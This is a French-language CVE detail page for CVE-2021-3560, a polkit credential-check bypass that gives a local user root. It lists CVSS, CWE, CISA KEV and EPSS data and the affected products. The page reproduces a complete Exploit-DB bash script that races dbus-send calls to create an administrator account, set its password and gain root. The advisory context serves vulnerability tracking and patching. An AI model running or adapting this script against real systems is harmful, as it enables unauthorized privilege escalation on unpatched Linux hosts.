CVE-2021-3560 : Détail

CVE-2021-3560

7.8
/
Haute
Authorization problems
A01-Broken Access Control
1.37%V3
Local
2022-02-16
00h00 +00:00
2025-02-13
16h28 +00:00
CVE.org
NVD
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Descriptions du CVE

It was found that polkit could be tricked into bypassing the credential checks for D-Bus requests, elevating the privileges of the requestor to the root user. This flaw could be used by an unprivileged local attacker to, for example, create a new local administrator. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-863 Incorrect Authorization
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
CWE-754 Improper Check for Unusual or Exceptional Conditions
The product does not check or incorrectly checks for unusual or exceptional conditions that are not expected to occur frequently during day to day operation of the product.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

CISA KEV (Vulnérabilités Exploitées Connues)

Nom de la vulnérabilité : Red Hat Polkit Incorrect Authorization Vulnerability

Action requise : Apply updates per vendor instructions.

Connu pour être utilisé dans des campagnes de ransomware : Unknown

Ajouter le : 2023-05-11 22h00 +00:00

Action attendue : 2023-06-01 22h00 +00:00

Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 50011

Date de publication : 2021-06-14 22h00 +00:00
Auteur : J Smith
EDB Vérifié : Yes

# Exploit Title: Polkit 0.105-26 0.117-2 - Local Privilege Escalation # Date: 06/11/2021 # Exploit Author: J Smith (CadmusofThebes) # Vendor Homepage: https://www.freedesktop.org/ # Software Link: https://www.freedesktop.org/software/polkit/docs/latest/polkitd.8.html # Version: polkit 0.105-26 (Ubuntu), polkit 0.117-2 (Fedora) # Tested on: Ubuntu 20.04, Fedora 33 # CVE: CVE-2021-3560 # Source: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/ #!/bin/bash # Set the name and display name userName="hacked" realName="hacked" # Set the account as an administrator accountType=1 # Set the password hash for 'password' and password hint password='$5$WR3c6uwMGQZ/JEZw$OlBVzagNJswkWrKRSuoh/VCrZv183QpZL7sAeskcoTB' passHint="password" # Check Polkit version polkitVersion=$(systemctl status polkit.service | grep version | cut -d " " -f 9) if [[ "$(apt list --installed 2>/dev/null | grep polkit | grep -c 0.105-26)" -ge 1 || "$(yum list installed | grep polkit | grep -c 0.117-2)" ]]; then echo "[*] Vulnerable version of polkit found" else echo "[!] WARNING: Version of polkit might not vulnerable" fi # Validate user is running in SSH instead of desktop terminal if [[ -z $SSH_CLIENT || -z $SSH_TTY ]]; then echo "[!] WARNING: SSH into localhost first before running this script in order to avoid authentication prompts" exit fi # Test the dbus-send timing to load into exploit echo "[*] Determining dbus-send timing" realTime=$( TIMEFORMAT="%R"; { time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$userName string:$realName int32:$accountType ; } 2>&1 | cut -d " " -f6 ) halfTime=$(echo "scale=3;$realTime/2" | bc) # Check for user first in case previous run of script failed on password set if id "$userName" &>/dev/null; then userid=$(id -u $userName) echo "[*] New user $userName already exists with uid of $userid" else userid="" echo "[*] Attempting to create account" while [[ $userid == "" ]] do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$userName string:$realName int32:$accountType 2>/dev/null & sleep $halfTime ; kill $! 2>/dev/null if id "$userName" &>/dev/null; then userid=$(id -u $userName) echo "[*] New user $userName created with uid of $userid" fi done fi # Add the password to /etc/shadow # Sleep added to ensure there is enough of a delay between timestamp checks echo "[*] Adding password to /etc/shadow and enabling user" sleep 1 currentTimestamp=$(stat -c %Z /etc/shadow) fileChanged="n" while [ $fileChanged == "n" ] do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User$userid org.freedesktop.Accounts.User.SetPassword string:$password string:$passHint 2>/dev/null & sleep $halfTime ; kill $! 2>/dev/null if [ $(stat -c %Z /etc/shadow) -ne $currentTimestamp ];then fileChanged="y" echo "[*] Exploit complete!" fi done echo "" echo "[*] Run 'su - $userName', followed by 'sudo su' to gain root access"

Products Mentioned

Configuraton 0

Polkit_project>>Polkit >> Version To (excluding) 0.119

Configuraton 0

Debian>>Debian_linux >> Version 11.0

Configuraton 0

Canonical>>Ubuntu_linux >> Version 20.04

Configuraton 0

Redhat>>Virtualization >> Version 4.0

Redhat>>Virtualization_host >> Version 4.0

Redhat>>Enterprise_linux >> Version 8.0

Configuraton 0

Redhat>>Openshift_container_platform >> Version 4.7

Redhat>>Enterprise_linux >> Version 7.0

Redhat>>Enterprise_linux >> Version 8.0

Références

https://bugzilla.redhat.com/show_bug.cgi?id=1961710
Tags : Issue Tracking, Patch, Vendor Advisory